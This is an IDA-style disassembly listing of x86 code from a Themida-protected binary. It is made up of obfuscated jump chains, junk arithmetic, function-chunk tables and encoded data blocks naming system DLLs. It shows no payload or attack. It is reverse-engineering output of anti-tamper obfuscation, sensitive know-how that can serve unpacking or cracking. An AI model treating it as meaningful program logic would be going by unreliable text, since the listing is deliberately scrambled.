; END OF FUNCTION CHUNK	FOR sub_5A438E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AECC4:				; CODE XREF: sub_597F0C+8439j
					; sub_59D99C:loc_5A10ABj
		push	107B384Ah
		jmp	loc_5A53B0
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	7464h
		mov	[esp], esi
		push	3598h
		mov	[esp], esp
		push	ecx
		jmp	loc_5A97FA
; ---------------------------------------------------------------------------


loc_5AECEE:				; CODE XREF: Themida_:005983FEj
		or	ebp, 159D7A92h
		dec	ebp
		jmp	loc_5A5F0F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5AECFA:				; CODE XREF: sub_5AAA81-A544j
		sub	eax, 6F735842h
		pop	edx
		push	dword ptr [esp+0]
		jmp	loc_598776
; END OF FUNCTION CHUNK	FOR sub_5AAA81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AED08:				; CODE XREF: sub_59D99C-A0Cj
		mov	[esp+4+var_4], ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		xor	eax, [esp+0]
		xor	[esp+0], eax
		xor	eax, [esp+0]
		mov	esp, [esp+0]
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		jmp	loc_59A7F7
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A728F


loc_5AED2D:				; CODE XREF: sub_5A728F-7ED1j
		mov	[esp+0Ch+var_C], ebx
		jmp	loc_5A8161
; END OF FUNCTION CHUNK	FOR sub_5A728F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5AED35:				; CODE XREF: sub_59B707:loc_5AE513j
		xor	edx, 1FA62BCBh
		jb	loc_59DF33
		jmp	loc_5A81C2
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5AED46:				; CODE XREF: sub_5A3F42+798j
		add	ecx, 44751C24h
		xor	ecx, offset byte_5C09E7
		dec	ecx
		neg	ecx
		push	ebx
		mov	ebx, 57FB3F01h
		shl	ebx, 7
		and	ebx, 2256380Bh
		shr	ebx, 8
		jmp	loc_59F61F
; END OF FUNCTION CHUNK	FOR sub_5A3F42
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AED6C:				; CODE XREF: sub_5AE6FD+7F2j
		add	bl, dl
		pop	edx
		sub	bl, 0CFh
		pop	cx
		movzx	eax, al
		jmp	loc_5AA27D
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5AED7C:				; CODE XREF: sub_5AC95F-57EFj
		push	eax
		push	edx
		mov	dh, ch
		mov	al, dh
		pop	edx
		jmp	loc_597C28
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB0CE


loc_5AED88:				; CODE XREF: sub_5AB0CE+306Aj
		or	edi, 6643021Eh
		add	edi, 0F4184525h
		jmp	loc_59FB1D
; END OF FUNCTION CHUNK	FOR sub_5AB0CE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADE64


loc_5AED99:				; CODE XREF: sub_5ADE64+Fj
		add	[esp+8+var_4], edx
		pop	edx
		pop	esi
		push	edi
		mov	edi, 1FC612B2h
		shr	edi, 5
		shl	edi, 7
		sub	edi, 2D5C6268h
		sub	edi, 1D595F6Ch
		sub	edi, 3DC06AD2h
		add	edi, 95DE22Ah
		add	esi, edi
		pop	edi
		push	50Dh
		mov	[esp+4+var_4], edi
		mov	edi, 3FC6388Fh
		jmp	loc_5A0115
; END OF FUNCTION CHUNK	FOR sub_5ADE64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AEDD8:				; CODE XREF: sub_5ACD64-AA60j
		xchg	edx, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		push	eax
		mov	eax, esp
		jmp	loc_5ADAF2
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5AEDE6:				; CODE XREF: sub_5AC402-1214j
		xor	dl, 0A4h
		push	ebx
		mov	bh, 56h
		jmp	loc_59CC29
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599526


loc_5AEDF1:				; CODE XREF: sub_599526+A14Cj
		pop	ebx
		push	ecx
		push	edi
		jmp	loc_59DF6B
; END OF FUNCTION CHUNK	FOR sub_599526
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABE52


loc_5AEDF9:				; CODE XREF: sub_5ABE52+242Fj
		pop	ebx
		xchg	ecx, [esp+0Ch+var_C]
		jmp	loc_5A135E
; END OF FUNCTION CHUNK	FOR sub_5ABE52
; ---------------------------------------------------------------------------


loc_5AEE02:				; CODE XREF: Themida_:0059FC9Ej
		and	ebp, 74F24C20h
		jnz	loc_59EC57
		jmp	loc_597E99
; ---------------------------------------------------------------------------
		push	ecx
		push	edi
		xor	dh, 0F2h

; =============== S U B	R O U T	I N E =======================================



sub_5AEE18	proc near		; CODE XREF: sub_59C53B+B0FDj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0059CD0E SIZE 00000004 BYTES
; FUNCTION CHUNK AT 005A9DED SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AAD6F SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005AEC25 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebp
		pop	dword ptr [edi+24h]
		jmp	loc_5AEC25
sub_5AEE18	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5AEE29:				; CODE XREF: Themida_:005AF0A3j
					; sub_598462+16D11j
		jmp	loc_5AF0A9
; END OF FUNCTION CHUNK	FOR sub_598462

; =============== S U B	R O U T	I N E =======================================



sub_5AEE2E	proc near		; CODE XREF: sub_59B923+6ACCj

var_8		= dword	ptr -8
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005981D0 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00598A7E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059A4B8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059C27F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C7CB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0059DC5B SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059E024 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E3BE SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E3D4 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059E66E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E693 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059E869 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059F7D5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059FE0C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059FFD7 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0527 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A05D6 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A16BC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A1EDB SIZE 00000037 BYTES
; FUNCTION CHUNK AT 005A25E5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A33AB SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005A4184 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A45CF SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A5AB5 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005A6105 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A6477 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7242 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A7F49 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A84FE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A8A9E SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005A8B48 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005A8E96 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005A9052 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A9A88 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A9B8E SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AA9E2 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005AAC1A SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AB192 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 005AB30A SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005AC2D9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005AD02A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005AE0CD SIZE 0000001E BYTES
; FUNCTION CHUNK AT 005AE35A SIZE 0000001A BYTES

		push	ebp
		jmp	loc_5AA9E2
sub_5AEE2E	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5AEE34:				; CODE XREF: Themida_:005A5AE9j
		mov	edi, 2
		sub	edx, 2C266780h
		add	edx, edi
		push	ebx
		mov	ebx, 2C266780h
		add	edx, ebx
		mov	ebx, [esp]
		jmp	loc_5AE48E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5AEE51:				; CODE XREF: sub_59A932+11341j
		add	ecx, 0EE27C268h
		jmp	loc_5A0038
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------


loc_5AEE5C:				; CODE XREF: Themida_:005988A2j
		xor	eax, 200A0042h
		jmp	loc_5989F9
; ---------------------------------------------------------------------------


loc_5AEE66:				; CODE XREF: Themida_:loc_59F8FFj
		xor	ecx, 1EE80C45h
		mov	ebx, ecx
		pop	ecx
		neg	ebx
		xor	ebx, 55B114Dh
		add	ebx, 334933B3h
		add	esi, ebx
		pop	ebx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		movsx	ecx, al
		sub	esp, 4
		jmp	loc_59DDC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AEE9A:				; CODE XREF: sub_59D99C-3CFDj
		xor	eax, [esp+16h+var_18+2]
		jmp	loc_599CBC
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5AEEA2:				; CODE XREF: Themida_:0059DD1Cj
		mov	esp, [esp]
		xor	[esp], ch
		xor	ch, [esp]
		xor	[esp], ch
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5AEEB3:				; CODE XREF: sub_5AB3DC-FACFj
		add	ebx, 3C0409D3h
		add	ebx, edi
		jmp	loc_5ADFA4
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5AEEC0:				; CODE XREF: sub_5A600F-D73Cj
		push	di
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 2
		xchg	edi, [esp+0]
		pop	esp
		jmp	loc_5A1C7B
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------


loc_5AEEDA:				; CODE XREF: Themida_:0059BC75j
		mov	edi, esp
		push	esi
		push	edx
		mov	edx, 3EB35234h
		mov	esi, edx
		jmp	loc_5A9C01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AEEEA:				; CODE XREF: sub_5AE6FD-A057j
		mov	[esp-8+arg_4], edx
		mov	dl, 0AFh
		jmp	loc_5AED6C
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5AEEF4:				; CODE XREF: Themida_:0059FAB8j
		pop	ecx
		sub	eax, esi
		pop	esi
		add	eax, offset loc_5A10FC
		jmp	loc_5A1BC6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5AEF02:				; CODE XREF: sub_5A4F3D+3158j
		xor	edx, [esp-0Ch+arg_8]
		mov	esp, [esp-0Ch+arg_8]
		mov	[esp-0Ch+arg_8], ecx
		mov	ecx, 580B31A8h
		jmp	loc_5A07F9
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AEF15:				; CODE XREF: sub_5A8D43-D5B3j
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		pop	esp
		xchg	ecx, [esp+4+var_4]
		jmp	loc_59BBF8
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5AEF26:				; CODE XREF: sub_59D99C+44E0j
		add	ecx, edi
		pop	edi
		sub	ecx, 43B54CAFh
		mov	edi, [esp+1Eh+var_20+2]
		push	eax
		mov	eax, esp
		jmp	loc_5A2F86
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5AEF3A:				; CODE XREF: sub_5991B7+DEC7j
		add	edi, 4
		xor	edi, [esp-4+arg_0]
		xor	[esp-4+arg_0], edi
		jmp	loc_598F5D
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AEF48:				; CODE XREF: sub_5A91EC-C335j
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp-10h+arg_C]
		pop	esp
		pop	[esp-14h+arg_10]
		pop	esp
		shr	ecx, 6
		push	1D5h
		jmp	loc_5AB79F
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5AEF68:				; CODE XREF: sub_5ACD64-ECEFj
		mov	[esp-4+arg_0], eax
		mov	eax, esp
		add	eax, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	ebp
		push	ecx
		mov	ecx, 4C622BD6h
		mov	ebp, 0B39DD42Eh
		add	ebp, ecx
		pop	ecx
		sub	eax, 34FA0B3Fh
		sub	eax, ebp
		add	eax, 34FA0B3Fh
		pop	ebp
		jmp	loc_5AC0D7
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5AEF9B:				; CODE XREF: Themida_:005A9660j
		mov	edi, ebp
		jmp	loc_5A4E05
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5AEFA2:				; CODE XREF: sub_5A8C33-484Aj
					; sub_5A95E0+2980j
		pop	esp
		push	eax
		push	esp
		pop	eax
		push	ebp
		push	ecx
		mov	ecx, 4
		mov	ebp, ecx
		jmp	loc_59A18F
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------


loc_5AEFB4:				; CODE XREF: Themida_:0059FCAAj
		jmp	loc_5AEBD0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5AEFB9:				; CODE XREF: sub_599059+8DB5j
		mov	[esp-0Ah+arg_6], ecx
		jmp	loc_5A61A3
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5AEFC1:				; CODE XREF: Themida_:005AE3ABj
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_5AB73A

; =============== S U B	R O U T	I N E =======================================



sub_5AEFD6	proc near		; CODE XREF: sub_5A8F00-E25Ej
					; sub_59E35B+939j

arg_0		= dword	ptr  4
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005999EE SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0059B08C SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A4CEE SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005ABDD8 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 2F8D7032h
		xor	edx, ebx
		pop	ebx
		jmp	loc_5A4CEE
sub_5AEFD6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A41D6


loc_5AEFE4:				; CODE XREF: sub_5A41D6+237Bj
		dec	al
		jl	loc_59D292
		sub	al, 24h
		push	ebx
		mov	bh, al
		mov	cl, bh
		pop	ebx
		jmp	loc_59EB91
; END OF FUNCTION CHUNK	FOR sub_5A41D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5AEFF9:				; CODE XREF: sub_5A4F3D+Bj
		add	eax, ebx
		push	ecx
		mov	ecx, 6EF66998h
		add	eax, ecx
		jmp	loc_5A82DF
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5AF008:				; CODE XREF: sub_5AE6FD-6673j
		pop	ecx
		sub	edi, ebp
		pop	ebp
		xchg	edi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		mov	[esp-8+arg_4], edx
		push	esp
		pop	edx
		add	edx, 4
		sub	esp, 4
		mov	[esp-4+arg_0], edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		push	edx
		push	[esp-4+arg_4]
		mov	edx, [esp+0]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_59ACFC
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5AF043:				; CODE XREF: Themida_:005A6E07j
		pop	esi
		add	ebp, ecx
		add	ebp, 468F53AFh
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5ABA7D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5AF061:				; CODE XREF: sub_5ADDF8-C201j
		mov	esp, [esp+4+var_4]
		mov	[esp+0], eax
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AF06C:				; CODE XREF: sub_5A8D43-B4FBj
		xor	edx, [esp-8+arg_4]
		jmp	loc_5A8581
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B48F


loc_5AF074:				; CODE XREF: sub_59B48F+AF44j
		push	edx
		mov	edx, 33912F5Ah
		add	edx, 38B86D02h
		xor	edx, 6C499C58h
		jmp	loc_59BA51
; END OF FUNCTION CHUNK	FOR sub_59B48F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5AF08B:				; CODE XREF: sub_5A8F00+24D7j
		mov	edx, 54C670EFh
		jmp	loc_59DF33
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AF095:				; CODE XREF: sub_5A91EC-9515j
		jg	sub_5A879C
		push	ebx
		jmp	loc_5A2A62
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
		mov	ecx, eax
		jmp	loc_5AEE29
; ---------------------------------------------------------------------------
		pop	edx
; START	OF FUNCTION CHUNK FOR sub_5A94F5


loc_5AF0A9:				; CODE XREF: sub_5A94F5-112C4j
					; sub_598462:loc_5AEE29j
		add	edx, 4
		xchg	edx, [esp+0]
		jmp	loc_5A8CA6
; END OF FUNCTION CHUNK	FOR sub_5A94F5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5AF0B7:				; CODE XREF: sub_5A17D6-6134j
		shl	ebx, 1
		add	ebx, 0DC34C471h
		xor	edi, ebx
		pop	ebx
		sub	ebp, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		add	ebp, 0FFFFFFFFh
		shr	ebp, 7
		push	64F5h
		mov	[esp+14h+var_14], edi
		push	edx
		jmp	loc_5ACFFB
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A36E3


loc_5AF0E1:				; CODE XREF: sub_5A36E3-653Fj
		xchg	ebx, [esp+4+var_4]
		jmp	loc_59F893
; END OF FUNCTION CHUNK	FOR sub_5A36E3
; ---------------------------------------------------------------------------


loc_5AF0E9:				; CODE XREF: Themida_:0059A124j
		push	71Ch
		jmp	loc_5A718C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DEB0


loc_5AF0F3:				; CODE XREF: sub_59DEB0+3A63j
		sub	eax, edx
		pop	edx
		jmp	loc_5AD8DF
; END OF FUNCTION CHUNK	FOR sub_59DEB0
; ---------------------------------------------------------------------------


loc_5AF0FB:				; CODE XREF: Themida_:005ACFA6j
		or	eax, 657131C3h
		jz	loc_5AB7B7
		add	eax, 24ED2968h
		jmp	loc_5AE56B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACC65


loc_5AF110:				; CODE XREF: sub_5ACC65-9FFCj
		xor	[esp+4+var_4], ebp
		xor	ebp, [esp+4+var_4]
		pop	esp
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5ACC65
; ---------------------------------------------------------------------------


loc_5AF11C:				; CODE XREF: Themida_:005A285Ej
		mov	eax, esp
		jmp	loc_5AA114
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EF66


loc_5AF123:				; CODE XREF: sub_59EF66+9C45j
		sub	edx, 0F9BCD029h
		mov	ebx, edx
		jmp	loc_597F9C
; END OF FUNCTION CHUNK	FOR sub_59EF66
; ---------------------------------------------------------------------------


loc_5AF130:				; CODE XREF: Themida_:0059EAE0j
		xor	edi, [esp]
		mov	esp, [esp]
		add	edx, 4
		push	esi
		mov	esi, 2
		push	ebx
		mov	ebx, 7401B6Bh
		sub	edx, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	edx, esi
		jmp	loc_5990E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5AF15B:				; CODE XREF: sub_5A95E0-62CEj
		xor	ecx, edx
		pop	edx
		jmp	loc_5A6F37
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5AF163:				; CODE XREF: sub_5A8D43-F7CBj
		xor	[esp+8+var_8], ebp
		xor	ebp, [esp+8+var_8]
		pop	esp
		jmp	loc_59AA3E
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598462


loc_5AF16F:				; CODE XREF: sub_598462+148C3j
		xor	al, 0FFh
		mov	ch, al
		jmp	loc_5AEE29
; END OF FUNCTION CHUNK	FOR sub_598462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5AF178:				; CODE XREF: sub_5A0F44-5D66j
					; sub_5A91EC-10FBj
		shr	edi, 4
		xor	edi, 0E202F2h
		add	ecx, edi
		pop	edi
		push	edi
		mov	edi, 4
		sub	ecx, edi
		mov	edi, [esp-20h+arg_1C]
		add	esp, 4
		xchg	ecx, [esp+0]
		jmp	loc_5987CF
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_5AF19A:				; CODE XREF: Themida_:005AE521j
		mov	eax, 2BB0654h
		sub	edi, eax
		pop	eax
		add	edi, 632E380Bh
		sub	edi, 2DFA00F1h
		pop	eax
		xchg	edi, [esp]
		mov	esp, [esp]
		btr	[esp], ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5AF1C0:				; CODE XREF: sub_5AB88E-AC0Cj
		mov	ecx, [esp+0]
		add	esp, 4
		mov	esi, [esp+10h+var_10]
		jmp	loc_59A71D
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5AF1CE:				; CODE XREF: sub_59C53B+2B55j
		add	ecx, edi
		xor	[ecx], ebp
		pop	ecx
		xor	ebp, [edi+24h]
		push	16E7h
		mov	[esp+14h+var_14], edx
		mov	edx, 42CA7E40h
		inc	edx
		jmp	loc_5AE604
; ---------------------------------------------------------------------------


loc_5AF1E9:				; CODE XREF: sub_59C53B+105B4j
		mov	[esp+10h+var_10], ecx
		mov	ecx, 7AEA5AD5h
		shr	ecx, 8
		sub	ecx, 6FF3162Fh
		jmp	loc_5AE311
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5AF1FF:				; CODE XREF: sub_5A7343+30FFj
		add	esp, 4
		pop	edi
		add	ebx, 2
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		test	cx, ax
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------


loc_5AF21B:				; CODE XREF: Themida_:0058A1C4j
		jmp	loc_5AF277
; ---------------------------------------------------------------------------
		dd 39D0CF22h, 52455355h, 642E3233h, 41006C6Ch, 50415644h
		dd 2E323349h, 6C6C64h, 4C44544Eh, 6C642E4Ch, 7D8006Ch
		dd 10003h, 16001Fh, 25002Ch, 2C1h, 7 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_5AF277:				; CODE XREF: Themida_:loc_5AF21Bj
		jmp	loc_5AFB8F
; ---------------------------------------------------------------------------
		push	0AE5CE76h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE5CEF4h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE5D03Ah
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE5D173h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE5D1EEh
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE5D316h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		push	0AE5D397h
		jmp	loc_58A4A9
; ---------------------------------------------------------------------------
		dw 0F299h
		dd 7E0C4139h, 0C2F4C981h, 4F705505h, 0CBFDD08Ah, 9D4D5A10h
		dd 0E05A9D23h, 69211AADh, 0F0AA6714h, 4634EF9Dh, 355E0DCDh
		dd 83BF9DEh, 0E694C96Dh, 4CCE09BFh, 3D0E0CFFh, 35A8D3D3h
		dd 7DCE4C87h, 66B26F1Ch, 2B4E8CA6h, 0D42A2265h,	0AD66F2E7h
		dd 0A1EB50FAh, 85A5A3A7h, 0FC431AD6h, 0A286753Ch, 223F1DF1h
		dd 5CAAAE63h, 7065CD9Eh, 533869C3h, 0CB3D3DB7h,	4417EB6Fh
		dd 6D052E1Bh, 0DCCF09F2h, 63223418h, 0C3A68477h, 63A4E8B9h
		dd 3DF682E7h, 887B2E1Dh, 12CDFFD2h, 0D5E71D6h, 9234E8DDh
		dd 784h, 0E7538C3Fh, 6FDB14A2h,	0EB5F982Ah, 7624E596h
		dd 0F0AA6D13h, 375943B7h, 0BCC306F4h, 3D4A8F7Bh, 893316C4h
		dd 0E3779C4Eh, 0F9DD8FB8h, 73BB663Bh, 42C80349h, 0FC7EC880h
		dd 1634F799h, 0EB6FEB25h, 0AB1B4417h, 9F246DFh,	5FDDDCCFh
		dd 0CFBC3CFBh, 1E41766Bh, 49452B6Ch, 0CD5F50A8h, 580BF01Ah
		dd 211EAFE2h, 97506419h, 0B0691E73h, 26793FDh, 443BD76h
		dd 6314B98Ch, 70629CFh,	0EBD0000h, 9A2065D5h, 0E6A8ED5Dh
		dd 63146921h, 0EF91F4A6h, 0C1317E2Ch, 8476B1C7h, 0DFD3E41h
		dd 944683C8h, 1AD00BB1h, 113A61E9h, 0E43BF9DDh,	349F139h
		dd 6CEE2F5Eh, 6B0E2C9Fh, 8FABE522h, 0FB2477CBh,	0D246DFAAh
		dd 48D20DBFh, 85CB10C3h, 1973D842h, 0CB4F8830h,	0ADBB27A0h
		dd 4776D410h, 6118h, 3498400h, 0AAC3ECBFh, 0E6AB46DFh
		dd 6F22C921h, 27E096CBh, 0CFCD823h, 0AB527FFCh,	6E1A46DFh
		dd 1A61C5B5h, 7FE49FADh, 1E64B20Bh, 790C368Dh, 0C8804A86h
		dd 0F699FC7Eh, 0EA261535h, 0C5F7EA6Eh, 0B4DDCE0Ah, 893CFC35h
		dd 942558E2h, 1DAAEF5Bh, 2EA22624h, 0FBFA547Dh,	1642293Bh
		dd 643E0h, 0D4A8B400h, 0DFAB5E87h, 8443746h, 0BAA09B21h
